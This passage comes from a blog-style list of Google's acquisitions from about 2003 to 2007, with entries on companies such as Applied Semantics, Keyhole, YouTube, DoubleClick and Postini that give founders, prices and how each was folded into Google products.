Williams left Google and co-founded Obvious Corporation and Odeo. And Goldman left in 2006. Now Obvious Corporation owns Twitter and Odeo. Blogger is still very much alive and so is the domain name, blogspot.com. The problem with blogspot.com is that given its seamlessness in creating free weblogs, spammers have been taking advantage of the service. 4. Neotonic Software (Price: unknown, Date: April 22, 2003) Neotonic Software was a CRM software company. Before the acquisition took place, Neotonic created software called Trakken 2.0. Trakken was an e-mail customer service software package that included power virus and spam filters. Trakken was also built for handling email bursts of over 15,000 messages per hour. Neotonic was based in San Francisco, Calif. and their clients included Google, Ex Impact Technologies, and Butterfield Auctioneers. Google bought Neotonic in April 2003 and rolled Trakken into Google Groups and Gmail. If you are wondering how Gmail’s spam filter does a great job? Neotronic is probably one of the possibilities. Before the acquisition, Trakken said “45 agents in 6 support groups at Google rely on Trakken to respond to 35,000 emails a week.” Trakken was founded by David Jeske and Brandon Long. Prior to Neotonic, Jeske did the technical due diligence for eGroups.com when Yahoo! acquired them for $432 million. 5. Applied Semantics (Price: $102 million, Date: April 23, 2003) Around the same time that Google bought Neotonic, Google also bought Applied Semantics. Applied Semantics invented AdSense and KeywordSense. Applied Semantics is based on WordNet technology. WordNet was invented by psychology professor George A. Miller at the Cognitive Science Lab at Princeton University. WordNet had $3 million in funding from government agencies that were interested in WordNet for its machine translation. WordNet groups words based on semantic relations with synonyms. Applied Semantics also based their software on Simpli as well. Simpli was a search engine company that was started by Miller that utilized WordNet. Simpli would suggest search terms that were related to what another user searched for. Other founders of Simpli included Jeff Stibel, David Landan, John Santini, Andrew Duchon, Paul Allopenna, James A. Anderson, Steve Reiss, and Dan Ariely. Simpli sold to NetZero in 2000. Before the name Applied Semantics, the company was called Oingo in 1998. The renaming of Oingo to Applied Semantics happened in 2001 and was started by Gilad Elbaz and Adam Weissman. Google bought out Applied Semantics in April 2003 for $102 million. Here is the press release. “Applied Semantics is a proven innovator in semantic text processing and online advertising,” stated Google co-founder Sergey Brin, who was president of Technology at Google at the time of the acquisition. “This acquisition will enable Google to create new technologies that make online advertising more useful to users, publishers, and advertisers alike.” Brin was right. Applied Semantics was probably Google’s most synergistic and wisest acquisition. Google AdSense is the search engine company’s cash cow. Applied Semantics team remained in Santa Monica and Google established a SoCal product development center there. Three months after Google acquired Applied Semantics, Yahoo! bought out Overture for $1.63 billion in July 2003. That same summer, Yahoo! CEO Terry Semel offered to buyout Google for $3 billion, but the Google founders turned it down. It was a good move for Google. Applied Semantics’ technology is still powering AdSense and AdWords. 6. Kaltix (Price: unknown, Date: September 30, 2003) Kaltix Corporation started in June 2003 and created personalized and contextual search technologies. Kaltix was a Palo Alto, Calif.-based stealth company at the time and started at Stanford University. The founders of the company were trying to find ways to specifically one-up PageRank. The founders of Kaltix were Taher Haveliwala, Glen Jeh, and Sepandar Kamvar. Kamvar helped Google build and engineer iGoogle. Kamvar went on to become a consulting professor at Stanford in the subject of Computational Mathematics. One of the classes that Kamvar still teaches is Computational Methods in Data Mining. And Kamvar also runs a fashion company called Distilled Clothing. “Google and Kaltix share a common commitment to developing innovative search technologies that make finding information faster, easier and more relevant,” stated Google co-founder Larry Page, who was the President of Products of Google at the time. “Kaltix is working on a number of compelling search technologies, and Google is the ideal vehicle for the continued development of these advancements.” 7. Sprinks (Formerly owned by PRIMEDIA, Price: unknown, Date: October 2003) Google bought out Sprinks from PRIMEDIA. PRIMEDIA was best known for acquiring About.com in 2000 for $690 million. About.com was later sold to The New York Times for $410 million. Sprink’s ads were distributed across the About.com network of sites. Google AdWords ads replaced all of Sprink’s ads. And Sprink’s ads also appeared on CNET, Excite.com, Forbes.com, Mamma.com, Metacrawler at the time. This acquisition gave Google AdWords much more market share. Sprink’s core products were Contentsprinks (pay-for-performance ads), Directsprinks (ads on email newsletters), and Keywordsprinks (sponsored search placement). At the time of the Sprinks acquisition, Google AdWords and Overture controlled 90% of the PPC market. In the new agreement that Yahoo! and Google are agreeing upon, Microsoft’s counsel accused that Google would control 90% of the search-advertising market. Nayden Naydenov is the current registered owner of the domain Sprinks.com. The domain is also still registered to About.com, Inc. according to Alexa. Below is a screenshot of Sprinks.com from Archive.org: 8. Genius Labs (Price: unknown, Date: October 7, 2003) Google bought Genius Labs for one reason: Biz Stone. Biz Stone is the co-founder of Twitter. Stone also helped created and launch Xanga, Blogger, Odeo, and Obvious Corporation. Stone joined Google through the acquisition of Genius Labs but left two years after to start Odeo. 9. Ignite Logic (Price: unknown, Date: May 10, 2004) Ignite Logic, Inc. was a startup company that helped law firms and other small businesses set up websites. Ignite was creating a WYSIWYG HTML editor for their product, but then Google bought them and integrated them into other Google products. Ignite’s HTML editor most likely was rolled into Blogger and Google Page Creator. Google acquired Ignite around the same time they decided to file for an IPO. As a matter of fact, this clause was on the Google S-1 as pointed out by John Battelle: “2003 Equity Incentive Plan / Our 2003 Equity Incentive Plan was assumed by us in connection with our acquisition of Ignite Logic, Inc. in April 2004. At April 23, 2004, options to purchase a total of ___ shares of Class A common stock were outstanding under the 2003 Equity Incentive Plan at a weighted average exercise price of $28.86 per share.” 10. 2.6% of Baidu (Price: $10 million, Date: June 23, 2004) Baidu is the biggest search engine in China right now. Baidu indexes website links, audio, and images. Baidu is ranked #19 on Alexa currently. Baidu is currently indexing 740 million websites, 80 million images, 10 million audio files. And Baidu went public on August 5, 2005. Baidu currently trades at about $233 per American Depositary Receipt. Baidu’s market cap is $8 billion. With a market cap of $8 billion, that means 2.6% of Baidu is worth $208 million. How ’bout them apples? 11. Picasa (Price: unknown, Date: July 13, 2004) Picasa is a is Google’s photo sharing, managing, editing, and uploading software that was originally created by Idealab. The name, Picasa is a blend of the name of the Spanish painter, Pablo Picasso and “mi casa (my house in Spanish).” The icon for Picasa resembles the aperture blades of a camera lens. After Google acquired Picasa, they began to offer it as a free download. Idealab is a business incubation company based in Pasadena. Some of the spin-offs made at Idealab includes InsiderPages, Citysearch (acquired by IAC), Commission Junction, Compete.com, NetZero, Goto.com (later renamed Overture and acquired by Yahoo!), eToys.com, and the domain .tv. Idealab leases the .tv domain name to the island nation of Tuvalu (between Hawaii and Australia). This gave Tuvalu enough money to join the U.N. Idealab was started by Bill Gross in March 1996. Google is making Picasa stronger and stronger. Two years after the Picasa acquisition, Google acquired a photo recognition company that will be integrated into Picasa in the near future. Picasa also has import features for Blogger. 12. ZipDash (Price: unknown, Date: September 2004) Zipdash was an analysis tool that allowed anyone to search for traffic conditions on major highways in roads in San Francisco, Los Angeles, San Diego, Seattle, and Phoenix. The announcement was not made official, but it was discovered in a 10-K annual filing with the SEC. Zipdash was based in Palo Alto, Calif. and used mobile phones with GPS receivers to gather the speed of travelers. Before Google acquired Zipdash, the company was planning on adding traffic jams, accidents, and other bottlenecks. Zipdash was started by Mark Crady, Michael Chu, and Diprenda Nigram. Crady and Chu were electrical engineers that worked at Intel and Palm. The New York Times did a feature of Zipdash in March 2004, but did not make any mention of Google. The acquisition was quite unexpected. The team behind Zipdash helped build some of the features around Google Maps. 13. Where 2 Technologies (Price: unknown, Date: October 2004) Where 2 Technologies was a mapping startup company based in Sydney, Australia. The company was founded by Lars Rasmussen and Jens Rasmussen. Up until July 2005, people that wanted to use Google Maps was required to download software. Lars Rasmussen brought Google Maps to the browser which was HUGE for the company in taking on sites like MapQuest and Windows Live Maps. Below is a video of Lars Rasmussen discussing the Google Maps API. Lars Rasmussen works for the Google Sydney engineering office. Lars Rasmussen received his PhD from Univ. of California-Berkeley. This was Google’s first acquisition of an Australia-based company. 14. Keyhole, Inc. (Price: unknown, Date: October 27, 2004) Keyhole Inc. was founded in 2001. Keyhole was originally a spin-off from Intrinsic Graphics. Keyhole was funded by Sony, NVIDIA, the CIA’s In-Q-Tel, Brian McClendon, and George T. Harber. Keyhole’s flagship application was Earth Viewer, a product that has evolved into Google Earth. The name Keyhole is named after the eye-in-the-sky military satellites. Keyhole’s technology is plugged into Google Maps, Google Mobile, and Keyhole Markup Language (KML). At the time of Google’s acquisition, Keyhole’s management includes John Hanke, Brian McClendon, Daniel Lederman, Bill Kilday, Noah Doyle, Andria Ruben, Thomas Gewecke, and Michael T. Jones. Earth Viewer received more attention when CBS, ABC, and CNN used 3D fly-bys for showing terrain. EarthViewer “grew out of a tradition of technology for flight simulators,” stated Hanke via USA Today. 15. Urchin Software Corporation (Price: unknown, Date: March 28, 2005) Urchin Software Corporation was a web analytics software company based in Southern California. Urchin was started by Paul Muret and Scott Crosby in December 1995. Urchin was originally called Web Depot and they built websites for Sharp Healthcare and Solar Turbines. Urchin Software then become popular for processing large web server log files. Urchin dropped the web hosting and development and focused on their analytics software. The company was renamed to Quantified Systems, Inc. Quantified’s clients included Rackspace, Winstar, Verio, Earthlink, and Cable & Wireless. Quantified was close to raising a Series A round of funding, but 9/11 and several other factors prevented the funding from happening. Quantified had to lay off 15 employees, close their office in Tokyo, and take out a loan from the original investors. In 2002, Quantified created a CRM system and charged $5,000 per month for a physical data center. In 2003, Quantified was renamed to Urchin. And in 2004, Urchin repaid their angel investors. In August 2004, Google approached Urchin for a partnership at the San Jose Search Engine Strategies Trade Show. And 8 months later, Google acquired Urchin. Urchin technology currently powers Google Analytics. Google Analytics allows web publishers to track their hits, demographics, and many other features. About 10 employees with Urchin are still working for Google as VPs, Managers, Directors, System Admins, and Software Engineers. Before Google acquired Urchin, the analytics software company was used by over 1 million sites and was the standard for 20% of the Fortune 500. 16. Dodgeball (Price: unknown, Date: May 12, 2005) Dodgeball was one of the most ambiguous acquisitions Google made. After the acquisition, Gawker’s Valleywag reported that it was dead 2 years later because a 502 server error page showed up on Dodgeball.com at one point. But declared it alive again. Dodgeball is essentially a mobile geographic social network. When logging in to Dodgeball, the user sends a text message to Dodgeball about where they are and Dodgeball notifies your friends. Dodgeball will also do this for friends of friends. Dodgeball will also do this for crushes. Google accounts were integrated into Dodgeball in October 2006. Dodgeball was integrated into Google SMS and Google Mobile. Alex Rainert and Dennis Crowley, co-founders of Dodgeball quit Google in April 2007. “It’s no real secret that Google wasn’t supporting dodgeball the way we expected. The whole experience was incredibly frustrating for us – especially as we couldn’t convince them that dodgeball was worth engineering resources, leaving us to watch as other startups got to innovate in the mobile + social space,” wrote Dennis on his Flickr account. “And while it was a tough decision (and really disappointing) to walk away from dodgeball, I’m actually looking forward to getting to work on other projects again.” 17. Reqwireless (Price: unknown, Date: July 2005) Reqwireless partnered with Nokia, Cellmania, Motorola, Pinpoint, Handango, Sun Microsystems, Symbian, Sony Ericsson, Siemens mobile, Telus Mobility, Sunrise, and Optus to develop wireless applications and libraries for the J2ME platform. Reqwireless is Google’s first and only acquisition in Canada thus far. Reqwireless is based in Waterloo. And Reqwireless was rolled into Google Mobile and Google Android. Reqwireless developed ways to view email and HTML for devices using J2ME. 18. Current Communications Group (Equity from investment: unknown, Price: unknown, Date: July 7, 2005) Current Communications Group is a broadband company that powers Internet through power lines. Google, Hearst, and Goldman Sachs invested $100 million into Current Comm Group in July 2005. CURRENT has been alive and kicking since 2004. Current uses a Smart Grid solution to increase efficiency for high-speed Internet while reducing environmental impacts and electric usage. Current has worked on building Smart Grids in Dallas, Boulder, and certain areas in Europe. Current Communications is working closely with Xcel Energy on this project. 19. Android (Price: unknown, Date: August 17, 2005) Google quietly acquired Android Inc. in August 2005 for an unknown price. Android was 22 months old when Google bought them out and was based in Palo Alto, Calif. Through the acquisition, Google brought the Android team in to work on the Google Android project. Android will be releasing their first operating system this month. Andy Rubin, co-founder of Android Inc. became the Director of Mobile Platforms at Google to oversee the project. At his house in Silicon Valley, Rubin has a retinal scanner to control his house door. If the scanner approves the retina, the door unlocks. Rubin’s door is a robotic arm that takes a mallet and strikes a gong [NYT]. Google was working on Android quietly up until November 5, 2007, when Rubin wrote a title on the Google Blog entitled, “Where’s my Gphone?” The blog post announced the creation of the Open Handset Alliance as well. The blogosphere was debating whether Google would create an iPhone killer since early 2007. It looks like it is coming to fruition now with the release of the Google Android this month. Google Android will be open source. 20. Skia (Price: unknown, Date: November 1, 2005) Google bought out Skia in November 2005 for an undisclosed price. Skia was a technology company that provides 2D graphics to mobile devices, TVs, and other handhelds. Skia’s first product was called SGL, a portable graphics engine that was capable of loading 2D graphics. Google rolled these capabilities into Google Android. And Google also made the Skia Graphics Engine open source. Skia was based in Chapel Hill, North Carolina. Skia is Greek for “shadow.” Google operates an office in Chapel Hill with 5 people. Skia was started by Michael Reed. After Google acquired Skia, they added one person on the Skia subsidiary staff. How did a small software company in North Carolina get Google’s attention? “We did business in the valley,” stated Reed. “Everybody eventually gets to talk to everybody. Google sort of looks at everybody.” 21. Akwan Information Technologies (Price: unknown, Date: November 17, 2005) Akwan Information Technologies was a search engine based in Brazil. Google made the announcement of the acquisition on the same day that they announced the opening of two Latin American operations. The two operations are based in So Paulo, Brazil and Mexico City, Mexico. Google planned on using these offices to reach additional advertising services and better the search experience in Latin America. “The online environment in Latin America is changing rapidly with the infrastructure for high-speed Internet access expanding, and with it e-commerce,” stated Sukhinder Singh Cassidy, VP of Asia Pacific and Latin America operations at Google. “Google’s Latin America teams will partner closely with businesses, advertisers and agencies throughout the region to enable them to capitalize on the significant opportunities this brings.” Google’s clients in Latin America includes Wal-Mart Brazil, Dell Mexico, and Mercado Libre. And Google made Akwan Information Technologies into a research and development center in Brazil. 22. 5% of AOL (Price: $1 billion, Date: December 20, 2005) Google’s investment in AOL was for strategic purposes. With Google dominating in search and AOL dominating in messaging, the synergy between both companies would work out nicely. After this deal, Google powered AOL’s search engine and AOL made their IM software compatible with Google Talk. Through this deal, Google powered some of the advertising on AOL. “We’re very pleased to build significantly on our special relationship with Google in a way that will meaningfully strengthen AOL’s position in the fast-growing online advertising business and help drive more advertisers to its Web properties,” stated Time Warner Chairman Dick Parsons. “This agreement is key to fulfilling our commitment to realize the potential of AOL’s very large online audience. As digital technologies continue to drive industries together, the great value and opportunity inherent in Time Warner’s structure and array of premier businesses becomes increasingly clear. A critical piece of this strategic alliance will be our content, which we will be making more accessible to Google users.” Some of the other outcomes of the deal includes AOL Marketplace white labeling Google AdSense, making AOL content more available through Google web crawling technologies, video collaboration, and providing AOL marketing credits. Google is the only shareholder in AOL other than Time Warner. Since then Time Warner is rumored to shop AOL around and Yahoo! might be one possible buyer. The rumor indicates that Yahoo! might be interested for an acquisition of AOL for $5-$8 billion, but Time Warner is holding out for $10 billion. 23. Phatbits (Price: unknown, Date: December 27, 2005) Phatbits.com was a widget company that was started by a former Software Development Lead at Microsoft. The company was started by Geoffrey Elliot. Google bought Phatbits because it had a widget engine. The widget engine was instrumental in creating widget applications for Google Desktop. Google made this acquisition 5 months after Yahoo! acquired Konfabulator. Konfabulator was a Mac and Windows application that creates widgets too. Google knew that they would face intense competition with Yahoo! when it comes to widgets. They acted quickly in order to stay in the game. I think Yahoo! widgets has a stronger market-share than Google when it comes to widgets though based on what I’ve observed. I just see more people with Yahoo! widgets than Google Desktop. After the acquisition, Elliot worked at Google as a software engineer but has stepped down since. According to Elliot’s LinkedIn profile, he is currently an Entrepreneur in the Greater Seattle Area. Below is a screenshot of the old Phatbits page: 24 and 25. allPAY GmbH and bruNET GmbH (Price: unknown, Date: December 31, 2005) I was unable to find any information regarding these two German companies except that they were rolled into Google Mobile. The only reason why they are heard of is because of a 10-K filing with the SEC. Otherwise, there isn’t any information about them online anywhere. 26. dMarc Broadcasting (Price: $102 million, Date: January 17, 2006) dMarc Broadcasting is a Newport, California based radio broadcasting company. dMarc specializes in connecting advertisers to radio stations using their automated advertising platform. The platform makes the sales process, scheduling, delivery and reporting of the advertising efficient. After advertisers buy the air-time, then they can track the campaigns on dMarc’s platform. Google rolled dMarc’s platform into AdWords Audio Ads. AdWords Audio Ads supports “top ten” stations in 25 major cities. Currently, there is support for 1,600 FM and AM radio stations and Google Audio Ads can guarantee inventory during standard dayparts, not those late night infomercials. “Google is committed to exploring new ways to extend targeted, measurable advertising to other forms of media,” stated Tim Armstrong, VP of Advertising Sales, Google. “We anticipate that this acquisition will bring new ad dollars and accountability to radio by combining Google’s expansive network of advertisers with dMarc’s talented team and innovative radio advertising technology. We look forward to working together to continue to grow and improve the ecosystem of the radio industry.” Google acquired all of the outstanding equity interests in dMarc for $102 million. And Google stated that they would make additional contingent payments over the next 3 years assuming whether certain revenue and inventory targets are met. The maximum amount of the contingent payments may amount to $1.136 billion. 27. Measure Map (Price: unknown, Date: February 14, 2006) Measure Map is still online on MeasureMap.com. Measure Map provides stats for bloggers. Jeffrey Veen, founder of Measure Map started his company one year and two months before the Google acquired it. Prior to starting Measure Map, Veen was a Director of User Experience at Lycos Inc. and Managing Editor at South Coast Community Newspapers. Veen is no longer a User Experience Manager at Google, but he is now a Founding Partner at Adaptive Path. Measure Map technology was rolled into Google Analytics. This was the second company that Google bought for developing their Analytics product. Urchin being the first. “Bringing Measure Map to Google is an exciting validation of the user experience work I’ve been doing with my partners at Adaptive Path for years,” wrote Veen on The Google Blog. “By opening up the app to more bloggers through Google, we hope to help even more people become passionate about their blogs.” 28. Upstartle (Price: unknown, Date: March 9, 2006) Google’s acquisition of Upstartle indicated that Google is ready to take on Microsoft Office and bring applications online. Upstartle’s first product was called Writely, an online word processor. Writely was created as a software-as-a-service model. Upstartle was founded by Claudia Carpenter, Sam Schillace, and Steve Newman. Writely was integrated into Google’s product, Google Docs & Spreadsheets for online document collaboration. The Upstartle and Writely website is now shut down and redirects to Google Docs & Spreadsheets. Writely is blocked from Archive.org. And all previous Writely users were forwarded to Google Docs & Spreadsheets. Carpenter is now a software engineer at Google. Sam Schillace is an Engineering Director at Google. Jennifer Mazzon, former VP of Marketing at Upstartle is now a Senior Product Marketing Manager at Google. And Steve Newman is staying low-key about what he is doing next after Upstartle. 29. @Last Software (Price: unknown, Date: March 14, 2006) Google acquired @Last Software for their 3D modeling software. Google Sketchup is used to create, modify, and share 3D models and buildings. This software was made to be useful for civil engineers and architects. The features from @Last Software was also integrated into Google Maps and Google Earth. @Last Software attracted by Google because they made a plugin for Google Earth before they were acquired. @Last Software is based in Boulder, Colorado. “We got to know a bunch of Googlers while we were building the Google Earth plug-in for SketchUp, and it quickly became apparent that we could really stir things up together,” stated a @Last Software press release. Google SketchUp is now a free download. SketchUp also has APIs for third-party developers to create plugins. @Last Software was founded by Brad Schell. Other employees of @Last started working for Google after the acquisition including Jeff Martin and Aidan Chopra. Schell left Google in March 2007 to take some time off from work and spend time hiking and windsurfing. 30. Orion (Price: unknown, Date: April 9, 2006) Ori Allon was a 26-year-old Ph.D. student when Google decided to buy out his search engine, Orion. Allon was a student at the University of New South Wales. Orion’s search technology was unorthodox because it would find terms that are strongly related to search terms entered by users. This method was even praised by Bill Gates himself. Microsoft and Yahoo! were also supposedly in a bidding war for the patented technology behind Orion. Eventually, Google triumphed and Allon was relocated to Mountain View. Allon is still a full-time student at the University of New South Wales. Allon is continuing to work on the Orion algorithm with Dr. Eric Martin. 31. 2Web Technologies (Price: unknown, Date: June 1, 2006) 2Web Technologies was acquired by Google to expand upon their efforts to take on Microsoft Office. Jonathan Rochelle, co-founder of 2Web is now a Product Manager of Google Docs & Spreadsheets at the New York office of Google. Jonathan Rochelle was in the World Trade Center building on 9/11 and escaped the collapse of the building. The whole story is on his blog. It is by far one of the most emotional blog posts I’ve ever read. The blog post is very real and this is why I could see myself reading it again and again. As a professional blogger, I sometimes get caught up about all things business-related to the point that reality becomes less of a priority for me. 32. Neven Vision (Price: unknown, Date: August 15, 2006) Google acquired Neven Vision for biometric purposes. Neven Vision specializes in facial and image recognition. “Neven Vision comes to Google with deep technology and expertise around automatically extracting information from a photo. It could be as simple as detecting whether or not a photo contains a person, or, one day, as complex as recognizing people, places, and objects,” stated Adrian Graham, Picasa Product Manager. “This technology just may make it a lot easier for you to organize and find the photos you care about. We don’t have any specific features to show off today, but we’re looking forward to having more to share with you soon.” Through the acquisition, Google attained several patents which include: * EP1072018 : Wavelet-Based Facial Motion Capture for Avatar Animation * 1072014 Face Recognition from Video Images * EP1072018 Wavelet-Based Facial Motion Capture for Avatar Animation * 218457 Face Recognition from Video Images * 218458 Wavelet-Based Facial Motion Capture for Avatar Animation * EP1072018 Wavelet-Based Facial Motion Capture for Avatar Animation * 1072014 Face Recognition from Video Images * 6714661 Method & System for Customizing Facial Feature Tracking Using Precise Landmark * 6222939 Labeled Bunch Graphs for Image Analysis (EYEM1160/ NE01) * 6356659 Labeled Bunch Graphs for Image Analysis * 6563950 Labeled Bunch Graphs for Image Analysis * 6466695 Procedure for Automatic Analysis of Images & Image Sequences Based on Two Dimensional Shape Primitives * 6272231 Wavelet-Based Facial Motion Capture for Avatar Animation * 6580811 Wavelet-Based Facial Motion Capture for Avatar Animation * 6301370 Face Recognition from Video Images Neven Vision’s website is no longer online. But below is a screenshot of their website before the acquisition: 33. YouTube (Price: $1.65 billion, Date: August 15, 2006) YouTube was Google’s most revolutionary acquisition of all-time, hands down. YouTube is the world’s biggest video sharing and uploading website. YouTube was founded by Chad Hurley, Steven Chen, and Jawed Karim. The three of them worked at PayPal together. Hurley and Chen are still running the show at YouTube, but Karim decided to finish his degree at Stanford $64 million richer. Karim also decided to become an angel investor too. Given the amount of bandwidth and maintenance required for YouTube, the company is still not profitable, but Google is optimistic about the company. The price for an ad on the YouTube homepage is $175,000 per day with a $50,000 commitment to buy other Google and YouTube ads elsewhere. Branded channels cost advertisers $200,000. Below is the video that Hurley and Chen made after the acquisition: Michael Arrington broke the news about the acquisition before any other media outlets. This helped propel him into instant blog stardom. 34. JotSpot (Price: unknown, Date: October 31, 2006) JotSpot is a web application company that was rolled into Google Sites. JotSpot is now being used to create free collaborative websites through the use of Google Apps. JotSpot helps users create wiki-style sites where users can post videos, calendars, text, images, and other multimedia. Scott Johnston, former VP of Products at JotSpot and current Google Senior Product Manager wrote about the migration of JotSpot into Google here. JotSpot was founded by Joe Kraus and Graham Spencer. Spencer and Kraus are both founders of Excite.com. Krausis now heavily involved on the Google OpenSocial project. 35. Endoxon (Price: $28 million, Date: December 16, 2006) Endoxon is a Switzerland-based mapping company whose product was rolled into Google Maps and Google Earth. Endoxon provides the maps to European countries for Google Maps. Endoxon has 75 employees and has created products that include high-res aerial maps, satellite images, and other mobile services. Endoxon also creates AJAX mapping technologies for integrating the geographic data on the web. Endoxon’s subsidiaries were rolled into a new company called Mappulus AG. The announcement was made official by John Hanke, Director of Google Earth & Maps. Stefan and Bruno Muff founded Endoxon. A large number of the employees of Endoxon are still with Google working as Software Engineers, Managers, and VPs. 36. 4% of Xunlei (Price: $5 million, Date: January 4, 2007) Xunlei is a Chinese file-sharing website that supports BitTorrent, FTP, eDonkey, etc. Xunlei was developed by Thunder Networking Technologies and is based in the southern province of Shenzhen. Xunlei also developed a download accelerator which has been downloaded 80 million times. Xunlei.com is visited over 50 million times per day. Xunlei’s search technology is now powered by Google. Google’s market presence in China is overshadowed by Baidu.com. Xunlei has over 120 million users and was started by Zou Shenglong and Cheng Hao. Both Hao and Shenglong graduated from Duke University. Zou Shenglong and Cheng Hao both have a Master’s in Computer Science according to Morningside Ventures. Morningside is also an investor in Xunlei. Xunlei also has $45 million in funding from IDG VC Partners. 37. AdScape (Price: $23 million, Date: February 16, 2007) Google acquired Adscape for one reason– to build an advertising platform around video games. Adscape created an in-game advertising platform out of their office in San Francisco, Calif. Google had already been in discussion with members of the game development community with hopes to partner with them for an advertising partnership. Adscape launched in February 2006 with $3.2 million in funding from HIG Ventures (VC firm based in Atlanta). Several of Adscape’s members may have moved to Mountain View which may have included CTO Dan Willis, Chairman Bernie Stolar, and VP of Marketing Eva Woo according to Red Herring. Adscape was founded by Dan Willis. Adscape was rolled into Google AdSense. 38. Trendalyzer (Price: unknown, Date: March 16, 2007) Trendalyzer is a statistical software program that is based in Sweden. Trendalyzer was rolled into Google Analytics. Trendalyzer was created out of Han Rosling’s Gapminder Foundation. The Gapminder Foundation is an incubation company. Trendalyzer was a Flash application that preloaded statistical and historical data about world developments. Since the acquisition, Google has made the Motion Chart gadget available as a free download as part of the Google Visualizations API available on Google Code. 39. DoubleClick (Price: $3.1 billion, Date: April 13, 2007) DoubleClick has been Google’s most expensive acquisition. DoubleClick develops Internet ads for Fortune 500 companies and is based in New York City. Before the acquisition, DoubleClick was a public company that was purchased by a private equity firm. Prior to becoming DoubleClick, the company was called Internet Advertising Network (IAN) and was founded by Kevin O’Connor and Dwight Merriman in 1995. The company was renamed to DoubleClick after Poppe-Tyson bought out IAN in 1996. At Poppe-Dyson, DoubleClick developed their DART service. DoubleClick then merged with Abacus Direct for $1.7 billion. DoubleClick was discovered to being used by Abacus to track personal information about web surfers. DoubleClick dropped all integration services with Abacus and became a privacy advocate. Private equity firm, Hellman and Friedman bought Abacus. Abacus was then sold to Epsilon Interactive. And Google bought DoubleClick for $3.1 billion cash in April 2007. The EU investigated the acquisition up until March 11, 2008. And on April 2, 2008 Google had to cut 300 people from DoubleClick. This acquisition stirred the Microsoft beehive. One month after the DoubleClick acquisition, Microsoft acquired aQuantive for $6 billion. 40. Tonic Systems (Price: unknown, Date: April 17, 2007) Tonic Systems is the online version competitor of Microsoft PowerPoint. This was the third application software Google needed to take on Microsoft’s big 3 primary Office products. Tonic Systems is based in San Francisco and created the presentation automation products using Java. Tonic’s products included Tonic Systems Builder, Tonic Systems Filter, Tonic Systems Transformer, Tonic Systems Viewer, and Jar Jar Links. Sam Schillace, the founder of Upstartle announced the acquisition on The Google Blog. Presentations can now be created in Google Docs thanks to the Tonic acquisition. Below is a screenshot of Tonic’s homepage before they were acquired. I was unable to find information about Tonic’s founders. Tonic’s consultant before the deal was Catapult Advisors. 41. Marratech (Price: unknown, Date: April 19, 2007) Marratech was a strategic acquisition to enhance the features of Google Talk. Marratech is a Swedish company that created videoconferencing software. Marratech was a spin-off company from the Centre for Distance-Spanning Technology at the Luleå University of Technology. The founders of Marratech include Dr. Dick Schefström, Dr. Peter Parnes, Johnny Widén, Dr. Kåre Synnes, Mikael Börjeson, Magnus Hedberg, Serge Lachapelle and Claes Ågren [Wikipedia]. Most of the engineers and employees of Marratech joined Google after the acquisition. Marratech’s technology will most likely be used for enterprise services as video plugins for Google Talk have already been created. Google acquired the technology behind the company, but not the whole company itself. 42. GreenBorder (Price: unknown, Date: May 11, 2007) GreenBorder was the first strategic acquisition made for Google Chrome, the web browser. GreenBorder created safe zones for Internet users. GreenBorder created virtual machines where simple tasks like checking e-mail or reading the news can be done without exposure to spyware and viruses. These “sandboxes” were rolled into the private option for Chrome and for the individual tabs of Google Chrome. GreenBorder started in Mountain View, Calif., making the transition into Google a lot easier. On the day that Google acquired GreenBorder, they stopped accepting new customers for the security services. Vlad Dabija, co-founder and former CEO of GreenBorder is now at Ignite IP. 43. GreenBorder (Price: unknown, Date: May 11, 2007) Panoramio is a geolocation photo-sharing service. The site is still online, but it redirects to Google Maps and Blogger. The site is also accessible on Google Earth. Panoramio was started by Joaquín Cuenca Abela and Eduardo Manchón Aguilar. Panoramio started in summer 2005 and had 5 million photo uploads submitted within 2-3 years. Panoramio photos utilize tagged clouds for the images. This past May, Panoramio was attacked by a massive spam attack. Both Joaquín Cuenca Abela and Eduardo Manchón Aguilar are currently software engineers at Google. 44. FeedBurner (Price: $100 million, Date: June 1, 2007) With the growing popularity of RSS feeds, it was often times difficult for Google to make money from those who use readers. This was the case up until Google bought FeedBurner for $100 million. FeedBurner launched in 2004 and is especially known for their FeedSmith plugin. This enables bloggers and publishers to track the demographics of their RSS subscribers. Around the time that FeedBurner was acquired, they had over 600,000 publishers using their service along with over 150,000 podcasters. The migration of FeedBurner to Google is not complete yet as pointed out by ReadWriteWeb. FeedBurner was founded by Dick Costolo, Eric Lunt, Steve Olechowski, and Matt Shobe. Costolo is now an investor in Twitter and a Group Product Manager at Google. Eric Lunt is also a Manager at Google. Steve Olechowski is a Business Product Manager of Google AdSense. And Matt Shobe is a User Experience Designer. 45. PeakStream (Price: unknown, Date: June 5, 2007) PeakStream is a software company based in San Mateo, Calif. The company was founded by Matthew Papakipos and Asher Waldfogel. Matthew Papakipos is now an Engineering Director at Google and Asher Waldfogel is now a Consultant and Angel Investor at Independent Investor. PeakStream is known for its parallel computing power. “PeakStream had developed tools that improve the performance of single-threaded applications on multi-core chips,” wrote The Register editor Ashlee Vance. “Such tools should prove useful to coders who don’t want to deal with complex, parallel code but do want to take advantage of performance gains delivered via products such as GPGPUs (general purpose GPUs) from Nvidia and AMD/ATI and even multi-core x86 processors.” 46. Zenter (Price: unknown, Date: June 19, 2007) Zenter was acquired in order to enhance presentations on Google Docs. Sam Schillace announced the acquisition on The Google Blog. Zenter is known for their presentation-sharing abilities, thus complementing the acquisition of Tonic Systems. The company was still in stealth mode while Google bought them out. Zenter was founded by Robby Walker and Wayne Crosby. Zenter was one of the first Y-Combinator companies that Google bought out. Crosby is now a Software Engineer at Google and a General Partner at Mixin Capital. Walker is also a Software Engineer at Google. 47. GrandCentral (Price: $45 million, Date: July 2, 2007) GrandCentral is a VoIP service that Google bought for $45 million. GrandCentral was founded by Craig Walker and Vincent Paquet. Both of them had started Dialpad in the past. Dialpad was sold to Yahoo! for $20 million. When certain phone numbers call the GrandCentral number, it can be forwarded to an office or cellphone-based. GrandCentral also offers voicemail services. GrandCentral is still being integrated into Google’s Mobile services. Walker is a Senior Product Manager of Voice Products at Google. And Vincent Paquet is a Senior Product Manager at Google. 48. Postini (Price: $625 million, Date: July 9, 2007) Postini is an e-mail security company that was acquired by Google in July 2007 for $625 million. Postini was based in San Carlos, Calif. Postini was rolled into Gmail to provide enhanced e-mail and spam filters. “With the addition of Postini, our apps can streamline the complex information security mandates within organizations,” stated Eric Schmidt, CEO of Google. Postini was founded by Scott Petry in 1999. The company had estimated sales of over $33 million in 2007. 49. ImageAmerica (Price: unknown, Date: July 20, 2007) ImageAmerica is an aerial photography company that was acquired by Google to have rolled into Google Earth and 